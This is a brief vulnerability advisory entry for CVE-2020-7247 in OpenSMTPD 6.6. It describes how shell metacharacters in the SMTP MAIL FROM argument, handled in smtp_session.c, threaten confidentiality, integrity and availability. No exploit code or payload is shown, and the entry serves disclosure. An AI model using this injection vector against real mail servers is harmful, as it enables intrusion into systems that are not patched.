CVE-2020-7247
A vulnerability, which was classified as very critical, was found in OpenSMTPD 6.6. This affects some unknown processing of the file smtp_session.c of the component SMTP Session Handler. The manipulation of the argument
MAIL FROM
as part of a Shell Metacharacter leads to a return value vulnerability. CWE is classifying the issue as CWE-252. The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions. This is going to have an impact on confidentiality, integrity, and availability.
